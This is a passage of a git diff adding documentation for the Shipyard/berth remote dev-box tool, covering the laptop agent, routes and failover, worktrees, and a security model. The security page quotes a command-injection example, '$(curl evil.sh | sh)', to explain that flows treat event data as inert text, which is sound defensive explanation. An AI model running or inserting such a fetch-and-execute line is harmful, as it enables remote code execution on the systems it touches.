+ships, the status bar and **Settings → Boxes** say so ("2 boxes run an older
+berthd") with **Update all**, which updates each box in turn and shows its
+progress. A feature that needs a newer berthd (the conversation view, runs,
+Review) offers **Update** right where it is missing. To skip the step
+altogether, turn on **Update boxes automatically when Shipyard updates** in
+Settings → Boxes: each box is updated once for every build Shipyard ships, as
+soon as it is online.
+
+A box is in one of four states, the same everywhere in the app: **online**,
+**outdated** (online, with an older berthd), **offline** (not answering;
+Shipyard reconnects on its own) or **unreachable** (it answers, but Shipyard can't
+use it, such as a box whose identity changed).
+
+## Health
+
+```sh
+berth stats devl # memory, disk, load, and agents running or waiting
+berth ports devl # what is listening, and which process
+berth doctor devl # git, tmux, cloudflared, agent CLIs, listen address, lingering, paired laptops
+```
+
+Click a box's memory meter in the status bar for the
+[browsers running on it](/docs/guides/agent-browser#every-browser-on-a-box), who
+started each and what it costs, with **Stop** for the ones Shipyard or its
+sessions started; `berth ps devl` lists them in a terminal. A session's
+processes [go with it](/docs/concepts/sessions-and-agents#sessions-clean-up-after-themselves)
+when it ends.
+
+The built-in **Box monitor** plugin keeps an hour of history and warns before
+a box runs out. The [resource guard](/docs/guides/resource-guard) can stop idle
+dev servers and pause idle agents when memory runs short.
+
+Next: [projects and worktrees](/docs/concepts/projects-and-worktrees), what you
+keep on a box.
diff --git a/apps/shipyard/content/docs/concepts/laptop-agent.mdx b/apps/shipyard/content/docs/concepts/laptop-agent.mdx
new file mode 100644
index 000000000..acb5fcd09
--- /dev/null
+++ b/apps/shipyard/content/docs/concepts/laptop-agent.mdx
@@ -0,0 +1,236 @@
+---
+title: The laptop agent
+description: The background process that holds every box connection, serves private URLs, and outlives the app.
+---
+
+The **Shipyard agent** (`berth agent`) runs on your laptop in the background. It
+holds a connection to every paired box, runs saved forwards and the
+`*.localhost` proxy, and serves a local API that the CLI and the desktop app
+are clients of. Closing the app, or the app crashing, never stops a session,
+a forward or a queued prompt.
+
+## What it does
+
+- keeps one pinned TLS connection per box, reconnecting forever, with health
+ pings to notice a connection that died silently and sleep detection. A
+ box whose check is slow or gets no answer is marked **slow** and checked
+ again in about 2 seconds; only a second failure in a row (or a refused
+ connection, a wrong key, or the box saying it is stopping) takes it
+ away, and away it is tried again after about 2 seconds, then 4 and every
+ 8, each give or take 20% so boxes don't all retry at once. A request
+ that waits 10 seconds for an answer has the box checked at once, and a
+ request for a box known to be away is answered straight away instead of
+ waiting out a dial ([Slow and dropping networks](#slow-and-dropping-networks));
+- serves **private URLs** on port 1377, `http://3000.devl.localhost:1377/`,
+ and runs **forwards** (a fixed local port to a box port) and **routes**;
+ a box's URLs work by the name you paired it as and by the box's own name
+ (see below);
+- relays every online box's **events**, so laptop hooks, plugins and the app
+ hear about every agent on every box;
+- runs **laptop hooks** from `~/.berth/hooks.json`;
+- holds the [offline prompt queue](/docs/guides/offline-queue) and delivers it
+ when boxes come back;
+- runs an embedded Tailscale node for each [other tailnet](/docs/getting-started/add-a-box#boxes-on-another-tailnet);
+- keeps your **kits** library and serves your themes, task templates and
+ plugins to the app.
+
+## A box's own name
+
+You name a box when you pair it (`devl`), and the box has a name of its own
+(`devbox`, its hostname). URLs the box makes, such as `$BERTH_URL` or an
+app's configured origin, use its own name: `http://checkout.shop.devbox.localhost:1377`.
+The proxy accepts both, so a link an agent prints opens on your laptop, and
+on a new computer that paired the box under another name. It learns each
+box's own name when the box comes online, and skips a name that is also one
+of your paired boxes or that two boxes share. The app's browser tabs show
+either by your name for the box.
+
+A server's redirect to its own `localhost:PORT` goes back to the address you
+opened, and one to another port on the box's loopback (an auth server on
+`localhost:4000`) goes to that port's name, `http://4000.devl.localhost:1377`,
+since `localhost` there means the box, not your laptop.
+
+## Running it
+
+Any command that needs the agent starts it, and when the desktop app finds
+it isn't running, it offers to: **Start the Shipyard agent** runs
+`berth agent start`, and ticking **Start at login** installs it as a service
+instead. To have it start at login and restart after a crash from a
+terminal:
+
+```sh
+berth agent install # launchd on macOS, a systemd user unit on Linux
+berth agent status
+berth agent uninstall
+berth agent # run it in the foreground instead
+berth agent restart # restart it once its work under way is done
+berth stop # stop it, and every forward
+```
+
+The agent outlives the app, so an update to Shipyard would leave it running
+the old version. The updated app restarts it as it starts (`berth agent
+restart --if-stale`), whether the app started it or it starts at login:
+the agent first finishes what it's doing (adding or upgrading a box,
+setting up this Mac's box, sending a queued prompt), and agents' sessions
+keep running on their boxes throughout. The new agent then brings this
+Mac's box up to date.
+
+```sh
+berth status # boxes, forwards and the proxy at a glance
+berth events # every event from this laptop and every box, live
+berth doctor # what's wrong on this computer, and how to fix it
+```
+
+## How things reach it
+
+| Client | How |
+| --- | --- |
+| The CLI | A Unix socket, `agent.sock`, in the state directory |
+| The desktop app and plugins | `http://127.0.0.1:1378` with a bearer token; see [the app's API](/docs/reference/app-api) |
+| Your browser | `http://*.localhost:1377/`, the proxy |
+
+## Where it keeps things
+
+State is in `~/Library/Application Support/berth/client/` on a Mac and
+`~/.config/berth/client/` on Linux (`$BERTH_HOME` moves it): its identity,
+paired boxes, forwards, routes, the queue, logs and the app's token. Things
+you write by hand are in `~/.berth/` (`$BERTH_USER_DIR` moves it): hooks,
+task templates, themes, plugins, kits. The full list is in
+[files and environment](/docs/reference/files).
+
+Next: [the security model](/docs/concepts/security), how the agent and your boxes
+trust each other.
+
+## Routes to a box
+
+A box can be reachable more than one way: over Tailscale, which may relay
+it through a server on another continent when both networks are strict; over
+SSH, which often goes direct; or at an address on your LAN. The agent knows
+each route to a box and sends new requests over the fastest one that works.
+
+- **Where routes come from.** The address the box was paired at is one. A box
+ added with `berth add ssh` also gets an SSH route to the host it was added
+ with, on by default. A host in your `~/.ssh/config` with the box's own name
+ is offered, off. You can add an SSH host or an address, and turn any route
+ off, in **Settings › Boxes › Routes**.
+- **SSH routes use your ssh.** The agent runs `ssh -W` to berthd's port with
+ your `~/.ssh/config`, agent and keys (1Password's agent included), as `ssh
+ HOST` would in a terminal. It never reads, stores or asks for a key, and
+ never edits your SSH config: ssh runs in batch mode, so a login that would
+ need you (a password, an unknown host key) fails instead, and the route
+ shows as down. One login is shared by the route's connections.
+- **Every route is only a transport.** The same TLS, pinned to the key the
+ box was paired with, runs on every route. A route that reaches anything
+ else is refused, as the paired address would be.
+- **Measuring.** While you use a box, each route not carrying its traffic is
+ measured every 30 to 45 seconds; a box you aren't using isn't. A route
+ clearly faster than the one in use (a quarter quicker) takes over.
+- **Failing over.** The agent checks each box every 10 seconds, and at once
+ when a request is slow to answer or typing gets no echo. If the route in
+ use doesn't answer within 3 seconds, the others are asked, and the first
+ to answer carries new requests from then on. Open terminals and the event
+ stream stay on the old route in case it was a hiccup; if it fails again
+ (about 5 seconds later), it is down, and they move to the new route:
+ a terminal attaches again inside the same tab, the box redraws it, and
+ keys that may not have reached the box are sent again. A route that comes
+ back is used again if it is the faster one.
+
+`berth boxes` shows the route each box is reached by, and `berth doctor BOX`
+lists them all with their latency.
+
+## Slow and dropping networks
+
+Boxes are often far away (100–900 ms over Tailscale), and links drop. A
+link through one of Tailscale's relays can sit at 80 ms and then spike to 2
+seconds. Shipyard rides that out rather than calling the box offline:
+
+- **Slow, not offline.** A health check (every 10 seconds) that takes over
+ 1.5 seconds, or gets no answer in 8, marks the box **slow**: the status
+ bar says `1/1 box online · slow`, the sidebar lists the box with "slow",
+ and **Settings › Boxes** says why ("health check took 1.9s") with its
+ latency. Requests to a slow box still go through, and its connection is
+ kept, so terminals and chats on it carry on. It is checked again about 2
+ seconds later, with 10 seconds to answer; one good check makes it online
+ again.
+- **Away** takes two failed checks in a row, so a box that really went
+ shows **Reconnecting** about 20 seconds after it stopped answering (8 s,
+ 2 s, then 10 s). A refused connection, a key other than the box's
+ pairing's, or the box saying it is stopping (berthd restarting) is away
+ at the first check.
+- The agent's log (`berth agent` in a terminal, or its log file) has a
+ line for every change, with why, and nothing for the checks in between:
+
+ ```
+ box cal: online → slow (health check took 6.2s)
+ box cal: slow → away (2 checks failed: no answer in 10s)
+ box cal: away → online (health check took 84ms)
+ box cal: relayed through Tailscale's New York server: no direct connection (this computer's nearest is London)
+ ```
+
+What you see when a box does drop off:
+
+- **Reconnecting to devl… Next try in 6s.** A terminal, a chat and a team
+ setup in progress say the box is away, count down to the agent's next
+ try, and offer **Try now**. The session keeps running on the box; the
+ terminal comes back as it was, and the chat and the setup catch up from
+ the box's events, which the agent asks for from the last one it saw.
+- **Waiting for devl to answer…** Typing in a terminal that gets nothing
+ back for 4 seconds says so (what you type may not arrive while the link is
+ down), and has the agent check the box now.
+- **devl isn't answering.** A read that has no answer in 30 seconds (⌘P,
+ the Files panel, a diff) fails with that, rather than spinning, and asks
+ you to try again in a moment.
+- A message sent again after the link dropped its answer carries the same
+ idempotency key, so the box types it once.
+- The app's own connection to the agent (its event stream) is dropped and
+ opened again if it is silent for 45 seconds, as after the laptop sleeps,
+ with a jittered backoff, and refetches what changed; refreshes that land
+ together run as one.
+
+## A relayed link
+
+Tailscale connects two machines directly when it can. When it can't, it
+carries their traffic through one of its relay (DERP) servers, which works
+anywhere but adds the trip to that server and back, and slows down when
+the server is busy. The relay used is the box's nearest, which can be on
+another continent from you. **Settings › Boxes** says when this happens:
+
+> Relayed through Tailscale's New York server: no direct connection (this
+> computer's nearest is London)
+
+`berth doctor BOX` says the same, under **Link from this computer**. For a
+box on this computer's own Tailscale, the agent asks `tailscale status`
+(read only, at most every two minutes); for a box on one of its own
+[networks](/docs/getting-started/add-a-box#boxes-on-another-tailnet), it asks
+that network.
+
+Why it happens: both ends are behind NAT that Tailscale can't get through
+(a "hard" NAT, where the port changes with every destination, often on
+phone hotspots, corporate networks and some home routers), or UDP is
+blocked on the way. A VM at a cloud or hosting provider is usually behind
+the provider's NAT too. You can check with `tailscale netcheck` on each
+end: `MappingVariesByDestIP: true` is a hard NAT.
+
+What fixes it, best first:
+
+- **Let UDP 41641 in to the box.** Tailscale's direct connections use UDP
+ port 41641. Open it inbound in the box's cloud firewall or security
+ group, and the two ends can meet directly even when your end is behind a
+ hard NAT.
+- **A VM behind its host's NAT needs a port forward there**: forward UDP
+ 41641 on the host (or the provider's NAT, router or load balancer) to the
+ VM. `ufw` on the VM is often inactive and is rarely the blocker; check
+ with `sudo ufw status` before changing it.
+- **Another route.** If SSH to the box goes direct (it often does, as SSH
+ doesn't need the NAT traversal Tailscale's direct connections do), an
+ [SSH route](#routes-to-a-box) carries Shipyard's traffic instead while it
+ is the faster one. A box added with `berth add ssh` has one already; add
+ one in **Settings › Boxes › Routes**.
+- **A nearer relay, or a peer relay.** If a direct connection isn't
+ possible, a Tailscale peer relay on a
+ machine with an open UDP port near you both, or a custom DERP server
+ nearer than the one in use, cuts the detour.
+
+Run `tailscale ping BOX` after a change: it says `via DERP(nyc)` while
+relayed and an IP address and port once it is direct. The note in
+**Settings › Boxes** goes within a couple of minutes.
diff --git a/apps/shipyard/content/docs/concepts/meta.json b/apps/shipyard/content/docs/concepts/meta.json
new file mode 100644
index 000000000..edec8f22b
--- /dev/null
+++ b/apps/shipyard/content/docs/concepts/meta.json
@@ -0,0 +1,11 @@
+{
+ "title": "Concepts",
+ "pages": [
+ "architecture",
+ "boxes",
+ "projects-and-worktrees",
+ "sessions-and-agents",
+ "laptop-agent",
+ "security"
+ ]
+}
diff --git a/apps/shipyard/content/docs/concepts/projects-and-worktrees.mdx b/apps/shipyard/content/docs/concepts/projects-and-worktrees.mdx
new file mode 100644
index 000000000..626b3737c
--- /dev/null
+++ b/apps/shipyard/content/docs/concepts/projects-and-worktrees.mdx
@@ -0,0 +1,164 @@
+---
+title: Projects and worktrees
+description: Locations on a box, projects across boxes, and the worktrees agents work in.
+---
+
+On a box, a repository is a **location**. In the app, the same repository
+across your boxes is a **project**. Agents work in its **worktrees**.
+
+## Locations
+
+A **location** is a named directory on one box, usually a git repository:
+
+```sh
+berth location add devl/shop ~/work/shop
+berth locations devl
+berth location rm devl/shop # forgets it; files are untouched
+```
+
+The box API, the CLI and hooks address things on a box by location:
+`shop` is the repository's own checkout, `shop/checkout` one of its worktrees,
+and `devl/shop/checkout` the same from the laptop.
+
+## Projects
+
+In the app, a **project** is one repository wherever it is checked out. A
+location on `devl` and one on `gpu` whose remotes name the same
+`owner/repo` (or, without a remote, that share a name) are one project with
+two members; you can rename, merge and split projects from the sidebar. Each
+project has a **default box**, where new work goes unless you pick another,
+and the sidebar groups worktrees by project (or by box, if you prefer).
+
+Projects are an idea of the app and the laptop; boxes only know their own
+locations. A flow can still run for
+[a project on every box that has it](/docs/guides/automations#any-project-on-every-box).
+
+## Worktrees
+
+Agents work in **worktrees**: separate checkouts of the same repository, each
+on its own branch, so several agents can work at once without stepping on
+each other. Shipyard makes them with git, next to the repository:
+
+```text
+~/work/shop the repository (location "shop")
+~/work/shop-checkout worktree "checkout", on branch checkout
+~/work/shop-fix-login worktree "fix-login"
+```
+
+```sh
+berth worktree new devl/shop/checkout [--branch B] [--base REF] [--parent NAME] [--no-setup]
+berth worktree setup devl/shop/checkout [--wait]
+berth worktree rm devl/shop/checkout [--force]
+```
+
+- Keep a worktree's name to letters, digits and dashes: it becomes part of
+ its [private URL](#private-urls).
+- The branch defaults to the name. An existing branch, local or on
+ `origin`, is checked out as it is (tracking `origin`); a new one starts from
+ `--base`, or from what the repository has checked out.
+- `--parent` nests the new worktree under another of the location's in the
+ sidebar, such as a stacked branch under the one it builds on. A task an
+ agent starts, or hands its work off to, nests under that agent's worktree
+ by itself. The main checkout is no parent.
+- Worktrees made by any other tool appear too, with a `worktree.created`
+ event whose origin is `detected`.
+
+### Display names
+
+A worktree made from a pasted link is named after it
+(`https-linear-app-acme`). Give it a **display name** to show in its place:
+**Rename…** in its menu, double-click or F2 on its sidebar row (Enter saves,
+Esc cancels), right-click or F2 on its tile in the folded rail, its tab
+group's menu, or its name in the status bar. When its agent's task reads as
+a name, the field offers it.
+
+It is a label only: the branch and the folder keep their names, so nothing
+on the box moves, and an empty name shows the worktree's own again. The box
+keeps it with the location in `locations.json`, so your other laptops, the
+[phone](/docs/guides/phone) and the CLI see it too, and it goes with the worktree
+when that is removed. The app shows it wherever the worktree appears (the
+sidebar, the rail, tab groups, ⌘K and ⌘P, Home, Review, notifications, the
+status bar and the window's title), with the worktree's own name beside it
+where there is room and in its tooltip; ⌘K finds it by either.
+
+```sh
+berth worktree rename devl/shop/https-linear-app-acme "Cart badge after refund"
+berth worktree rename devl/shop/https-linear-app-acme # its own name again
+```
+
+A box running a berthd from before display names keeps the name on this
+laptop only, and says so once with **Update**; once the box is updated the
+name moves to it.
+
+### Setup and teardown
+
+When a worktree is created, the repository's **setup** script runs in it (in
+the background, up to 30 minutes, logged on the box); once it succeeds, its
+`autostart` services start. Before one is removed, its services stop and the **archive**
+script runs; if that fails, the worktree stays. Both come from
+[`.berth/config.json`](/docs/guides/project-config), a [kit](/docs/guides/kits), or the
+box's own config for the location (`berth location scripts`). A
+repository's own file runs only once it is
+[trusted on that box](/docs/guides/project-config#trusting-a-repositorys-config),
+and again after it changes.
+
+### Ports and environment
+
+Every worktree has its own block of ports, stable for its life and freed when
+it is removed: `$BERTH_PORT`, then `$BERTH_PORT_1`… up to the `ports` the
+config asks for (at most 10). Everything run in a worktree (scripts,
+terminals, agents, services, hooks, `exec`) gets them along with
+`BERTH_WORKTREE_SLUG`, `BERTH_BRANCH` and the rest; see
+[project config](/docs/guides/project-config#ports-and-environment).
+
+### Pause and resume
+
+From the Worktrees view you can pause a worktree: its running services stop
+and its agents are frozen where they are, using no CPU, until you resume it,
+which lets the agents carry on and starts the same services again. Plain
+shells are left alone. The
+[resource guard](/docs/guides/resource-guard) does the same to idle worktrees
+when a box runs short of memory.
+
+## Private URLs
+
+The laptop agent serves every box's ports at `*.localhost` names, through the
+box connection, with nothing exposed on the box:
+
+| URL | Reaches |
+| --- | --- |
+| `http://3000.devl.localhost:1377/` | Port 3000 on `devl` |
+| `http://checkout.shop.devl.localhost:1377/` | The `checkout` worktree's dev server (its lowest listening port) |
+| `http://shop.devl.localhost:1377/` | The main checkout's dev server |
+| `http://checkout.shop.localhost:1377/` | The `checkout` worktree's dev server, when only one box has it |
+| `http://localhost:1377/` | An index of what is reachable |
+
+`berth setup port80` on a Mac drops the `:1377`. Dev servers need no
+configuration: the proxy presents requests to them as `localhost:` and
+rewrites their redirects back.
+
+For a program that needs a fixed local port (a database client, say), forward
+one:
+
+```sh
+berth forward devl 5432 # localhost:5432 → devl:5432
+berth forward devl 8080:3000 # localhost:8080 → devl:3000
+berth forwards
+berth unforward ID
+```
+
+And for a router on the box that dispatches by host name:
+
+```sh
+berth route add '*.app.localhost' devl 8080 # Host header passed unchanged
+```
+
+## Editors
+
+```sh
+berth ssh-config --write # an SSH host per box, berth-, for editors
+berth edit devl/shop/checkout src/app.ts:42 # open a file at a line (--in cursor|vscode|windsurf|zed)
+```
+
+Next: [sessions and agents](/docs/concepts/sessions-and-agents), what runs in a
+worktree.
diff --git a/apps/shipyard/content/docs/concepts/security.mdx b/apps/shipyard/content/docs/concepts/security.mdx
new file mode 100644
index 000000000..b1dfd6fca
--- /dev/null
+++ b/apps/shipyard/content/docs/concepts/security.mdx
@@ -0,0 +1,422 @@
+---
+title: Security model
+description: Who Shipyard trusts and for what, how laptops and boxes prove who they are, what guards repository config, kits, flows and plugins, and what is still open.
+---
+
+Every connection in Shipyard is between two keys that have met before. Nothing
+on a box is reachable without a paired laptop, and nothing is public unless
+someone shares it. Inside that, Shipyard runs other people's code and data (a
+repository's config, a kit, a plugin, a pull request's comments), and asks
+before any of it runs.
+
+## Who is trusted with what
+
+| Who | What they can do | What guards it |
+| --- | --- | --- |
+| A **paired laptop** | Everything the box's user can: start shells and agents, run commands, change config, upgrade berthd | Pairing (one code, used once), pinned keys, `berthd revoke` |
+| **Anything running as the box's user** (agents, scripts, hooks) | The same, through berthd's socket and `~/.berth` | Nothing beyond the operating system: it is you on that box |
+| Someone who can **commit to a repository** on a box | Nothing, until you trust its `.berth/config.json` on that box | [Repository trust](#repository-config), per content hash |
+| A **kit's** author | Nothing, until you apply the kit you reviewed | [Kit review](#kits), pinned to a hash |
+| A **plugin's** author | Everything the app can, once you allow the plugin | [Plugin consent](#plugins), pinned to a hash |
+| Whoever writes **event data** (a PR title, a review comment, a branch name, an agent's output) | Text in your flows, never commands | [How flows fill in values](#flows-and-event-data) |
+| Someone with a box's **phone token** | Read agents' screens and type into sessions on that box, from your tailnet | [The phone](#the-phone) |
+| The **network** | Nothing: it sees encrypted traffic between pinned keys | [Identity and transport](#identity-and-transport) |
+
+Pair only laptops you own, and only trust repositories, kits and plugins
+whose authors you would let run commands as you.
+
+## Identity and transport
+
+Every installation has an Ed25519 key; its identity is the SHA-256 of the
+key's SubjectPublicKeyInfo. Certificates are regenerated on every start and
+carry no meaning beyond the key.
+
+Connections are TLS 1.3 with mutual certificates. Each side accepts only the
+other's pinned key, never a certificate authority. On top, HTTP/2
+multiplexes pings, API calls, TCP streams and terminals over one connection
+per box, with health pings to notice a connection that died silently.
+
+An unpaired client can complete a handshake but only attempt pairing, which
+is rate limited per source address (with a larger limit across all of them),
+counting only failed attempts, so a stranger cannot lock you out of pairing
+from your own machine. Every other request is refused with the same answer,
+whatever the reason. A trust store that cannot be read authorizes nobody.
+
+## Pairing
+
+1. On the box, `berthd pair` stores a random 256-bit single-use code (ten
+ minute expiry) and prints `berth://HOST:PORT?code=…&fp=`.
+2. The laptop connects to `HOST:PORT` and pins `fp`.
+3. The laptop proves it holds the code without sending it: an HMAC keyed by
+ the code over TLS exported keying material (RFC 5705) and the laptop's own
+ fingerprint, so the proof is bound to this session and this key.
+4. The box consumes the code under a file lock and pins the laptop's key.
+
+The [install script](/docs/getting-started/add-a-box#with-the-install-command)
+runs on the box itself and ends with step 1, so the laptop needs no SSH at
+all. `berth add ssh HOST` does all of this over one SSH session instead: it
+detects the box's platform, uploads the matching berthd, installs the
+service, and pairs. It checks box and network names before they reach an SSH
+command line, and a host key is trusted without asking only when you pass
+its fingerprint (`--trust-host-key`), which **Set up** in the app does for a
+tailnet machine whose key Tailscale reports.
+
+On the box, `berthd clients` lists paired laptops and
+`berthd revoke ` stops trusting one. On the laptop,
+`berth forget BOX` removes a box.
+
+### Inviting another computer
+
+A paired laptop can ask a box for a pairing code for another computer of the
+same person (`berth invite`, Settings → Computers). The box issues it over
+the laptop's own pinned connection, exactly as `berthd pair` would: one
+code, single use, ten minutes, consumed under the same lock and proven the
+same way (step 3), so the code still never crosses the network from the new
+computer. Asking runs the `before:pairing.invite` gate, is limited to ten
+codes per ten minutes per box, and announces `pairing.invited` with who asked,
+never the code; no box or laptop logs a code.
+
+The laptop bundles one code per box into a join link with each box's
+addresses and fingerprint, which the new computer pins. It holds no key of
+the inviting laptop and no token. Whoever holds the link before it expires
+can pair with those boxes, so the app and CLI ask before making one and say
+so; see [more than one computer](/docs/guides/more-computers). A link whose
+fingerprint was changed reaches no box (the handshake fails before any
+proof), and a used or expired code is refused like any other.
+
+## Revoking a laptop
+
+`berthd revoke` removes a laptop's key, and the running daemon closes the
+shells, port streams and event streams it still had open: at once when
+`berthd revoke` runs on the box, otherwise within a second or two. Another
+paired laptop can do the same from Settings → Computers (`DELETE
+/v1/clients/{name}`, gated by `before:client.revoke`), which closes them at
+once; a laptop cannot remove itself that way.
+
+## Where berthd listens
+
+By default berthd listens on the box's tailnet address only and refuses to
+start if there is none. Listening on the internet takes an explicit
+`--listen 0.0.0.0:7444`. `berthd pair` advertises the address it actually
+listens on.
+
+## Reaching other tailnets
+
+A laptop's system Tailscale can be on only one tailnet. For boxes on another
+(a personal tailnet while the Mac is on a work one), the agent runs an
+embedded Tailscale node per named network (`berth network login personal`, a
+one-time browser sign-in). Each paired box records the network it is reached
+through; pairing, the agent's connections and `add ssh` all dial through it.
+Shipyard's own pinned TLS still runs on top: the tailnet only provides the route.
+
+## On the laptop
+
+- **Private URLs.** Every port on a box is reachable at
+ `http://..localhost:1377/`. All operating systems resolve
+ `*.localhost` to loopback, so no DNS is involved. The proxy presents
+ requests to the app as `localhost:` and rewrites the app's own
+ redirects back, so dev servers need no configuration. Unknown hosts are
+ refused, which blocks DNS rebinding. Fixed-port forwards listen on both
+ loopback addresses and refuse a port another program already holds on
+ `::1`, where `localhost` resolves first on macOS.
+- **The app's API** on `127.0.0.1:1378` takes a bearer token from a file
+ only your user can read, checks the `Host` header, and allows only the
+ app's own origins. The token travels in a header; only WebSocket upgrades,
+ which a browser can't give headers, may carry it in the query string. See
+ [the app's API](/docs/reference/app-api#transport).
+- **What the app runs.** The packaged app starts the laptop agent only from
+ the `berth` it carries (`Contents/MacOS/berth-cli`), and only while that is
+ signed by the same Developer ID team as the app: never one on `PATH`, in
+ `~/.local/bin` or named by `BERTH_CLI`, where anything running as you could
+ plant one. Only a dev build looks elsewhere. The same goes for
+ [Use this Mac](/docs/getting-started/add-a-box#this-mac): the agent installs only
+ the app's own `Contents/Resources/berthd`, checked against the app's team
+ before it is copied out, and the copy is checked again
+ (`codesign --verify`) before launchd runs it. That box listens on
+ `127.0.0.1` only.
+- **Service keys.** A [Linear](/docs/guides/linear) API key is kept by the laptop
+ agent in a file only your user can read. The agent makes every call to
+ Linear itself, a fixed set of reads and one write (a comment); the app's
+ window, plugins and boxes are told who is connected, never the key.
+- **SSH config.** `berth ssh-config --write` writes a host per box for
+ editors. The SSH user a box reports is checked against a strict pattern
+ first, so a box can't add lines of its own to your SSH config.
+
+## Public shares
+
+Sharing is opt-in, one port at a time (`berth share BOX PORT`). The **box**
+runs a Cloudflare quick tunnel, so a link survives the laptop sleeping.
+Shares end when revoked or when berthd stops or upgrades; none outlive the
+daemon that manages them. Agents' [skills](/docs/guides/agent-integrations#skills)
+tell them never to share a port unless a person asked.
+
+## Releases and upgrades
+
+- **The Mac app** is signed with a Developer ID and notarized by Apple.
+ [Its updates](/docs/getting-started/install#updates) come from the latest GitHub
+ release, over HTTPS, and are installed only if they carry a valid
+ signature from Shipyard's updater key, whose public half is built into the
+ app. Nothing installs until you choose **Restart to update**.
+- **berthd and the CLI** from a release are checked against the release's
+ `checksums.txt` by the install script. That catches a broken or truncated
+ download, but the checksums come from the same release, so they don't
+ prove who made it (see [known limits](#known-limits)).
+- **`berth upgrade BOX`** uploads the matching daemon over Shipyard's own
+ connection. The box runs the upload once to check it starts and reads the
+ box's own identity, swaps it in, and re-executes in place, keeping its PID
+ so the supervisor sees no restart and sessions are untouched. Public shares
+ stop first. The check catches a wrong build, not a malicious one: any
+ paired laptop can replace berthd, as it can run any command there. A
+ `before:box.upgrade` gate sees each upgrade.
+
+## Repository config
+
+A repository's committed `.berth/config.json` holds commands: a setup
+script, services, hooks, flows, environment and agent commands. Anyone who
+can commit to a repository could otherwise run them on every box that has
+it. So a box runs none of that until someone trusts the file on that box,
+for that project, and only the exact bytes they saw (its SHA-256 hash): any
+change to the file waits to be trusted again. Until then only its port count
+applies, and the app shows what it wants to run (**This repository wants to
+run …**). From a terminal, `berth location config BOX/LOC` shows it and its
+hash, and `--trust HASH` or `--untrust` decide. A kit you apply and the box's
+own config are yours and need no trust. See
+[trusting a repository's config](/docs/guides/project-config#trusting-a-repositorys-config).
+
+## Kits
+
+A [kit](/docs/guides/kits) runs its scripts on the boxes you apply it to, so
+nothing in one runs until you have seen it:
+
+- Adding a kit shows everything it does and every file it carries, with a
+ hash of all of it. What is kept is exactly what you saw: the link is
+ fetched again when you confirm, and refused if it now hashes differently.
+- Applying is a separate step, and applying from the review goes ahead only
+ while the kept copy still has the hash you reviewed.
+- On a box, a kit's files are written only inside its own folder, and
+ `before:kit.install` and `before:kit.remove` gates can refuse them.
+
+## Review links
+
+A [review link](/docs/guides/review-a-pr), `berth://review?repo=OWNER/NAME&pr=N`,
+can come from anyone, so it carries no authority:
+
+- **Read strictly.** It names a repository (`[A-Za-z0-9._-]+/[A-Za-z0-9._-]+`)
+ and a positive PR number, and at most a head commit, which only warns
+ when it is not the head, a dev user to open it logged in as (used only
+ when the project's trusted login lists them) and a page on the
+ worktree's own address. Any other parameter, one given twice, or a value
+ out of shape makes it no link: no command, file path, setting or variable
+ is ever read from one.
+- **Never run on open.** Opening it shows the review sheet and nothing
+ else. Nothing is fetched to a box or run until you press **Review**, which
+ checks everything again; `berth review` asks unless given `--yes`.
+- **Who.** The repository must be one of your team setup's projects or
+ already on one of your boxes. The PR is read with your own `gh`, so you
+ see only what your account can, and it must be open, from a branch of
+ that repository (not a fork), by a member, owner or collaborator.
+- **The commit shown.** The box fetches `refs/pull/N/head` and makes the
+ worktree only if it is the commit you confirmed. A PR that moves on
+ doesn't move the review; **Update to latest** asks again.
+- **Setup from the team, never the PR.** The kit and the `.berth/config.json`
+ the box trusts, read from the main checkout, set it up; the PR's own
+ `.berth/` never runs, and git hooks are off while it is checked out. The
+ sheet lists the files in the PR that touch setup.
+- **Keys.** The team's shared keys, as any worktree gets them; never your
+ own (`team.json`'s `ask` keys).
+- **Contained and cleaned up.** Its dev server is reachable only through
+ the private URL, its sessions run in their own scopes, and it is removed
+ when the PR is merged or closed or after 7 days unused, never with
+ uncommitted changes without asking. Each step is in the box's journal.
+
+## Flows and event data
+
+[Flows](/docs/guides/automations) run on events whose data can come from someone
+else: a pull request's title, a review comment, a branch name, an agent's
+output. That data is only ever text:
+
+- A `run` step's command never contains a value. Each variable is in the
+ command's environment as `$BERTH_FLOW_…`, and `{{event.body}}` in a
+ command becomes a quoted reference to it, so a comment of
+ `$(curl evil.sh | sh)` is passed as those characters.
+- Values in a webhook's URL are percent-encoded, and values in its body
+ JSON-escaped, so a value can't add a host, a path, a parameter or a field.
+- A secret's value never leaves in a webhook, a notification or a step's
+ kept output: it shows as `[secret]`.
+- Webhooks and [phone notifications](/docs/guides/phone) reach only public
+ addresses (notifications also your tailnet). Loopback, private, link-local,
+ cloud metadata and other reserved addresses are refused, checked on the
+ address actually dialled, redirects included, unless the box's owner
+ allows them in `~/.berth/network.json` on the box, which nothing in the
+ API or a repository can change. See
+ [outbound requests](/docs/guides/automations#outbound-requests).
+
+## Git and files on the box
+
+- Cloning a repository and fetching a kit allow only git's `https`, `http`,
+ `ssh` and `git` transports, so a link can't use `file://` to read a local
+ repository or `ext::` to run a command. (A kit can still come from a
+ folder on your laptop, which is copied, not cloned.)
+- Installing Shipyard's [skills](/docs/guides/agent-integrations#skills) into a
+ repository refuses to follow symbolic links, so a repository can't
+ redirect the write to a file elsewhere on the box.
+
+## Secrets and prompts
+
+- A project's environment can name secrets (`op://…` for 1Password,
+ `env://…` for a variable in berthd's own environment) instead of holding
+ them. Values are read when needed and kept in memory: sessions and
+ services read theirs inside their own process (`berthd secret exec`), so
+ a value is never on a command line. No value is written to disk, a log, an
+ event or the API; see [secrets](/docs/guides/secrets#how-values-are-handled).
+- A prompt typed into a session (`berth session send`, a flow's `prompt`
+ step, the phone) never appears in events or logs: `session.sent` carries
+ only the session's name, and agent tool hooks forward only identifiers
+ and paths.
+- A **first** prompt is different: `berth task new --prompt` and a flow's
+ `start_agent` put it on the agent's command line, so it is part of the
+ session's command, which `session.started`, `before:session.start` and the
+ sessions list carry (see [known limits](#known-limits)).
+- The offline queue keeps prompts on the laptop, in its state directory, and
+ never puts them in an event.
+
+## The phone
+
+Each box can serve a small phone app on its tailnet address, off by default,
+with a token per box. Its threat model is on [the phone page](/docs/guides/phone#threat-model).
+
+## Gates
+
+`before:` hooks on a box can refuse actions (creating worktrees, starting
+sessions, sending prompts, running `exec`, installing kits, changing config,
+replacing the hooks themselves), whoever asks: the app, the CLI, a flow, an
+agent or the phone. Every API route that changes something runs one; see
+[the list](/docs/reference/events#gates).
+
+A gate sees an origin the box can vouch for. A paired laptop is
+`laptop:` and the phone is `remote`, whatever origin they claim; only
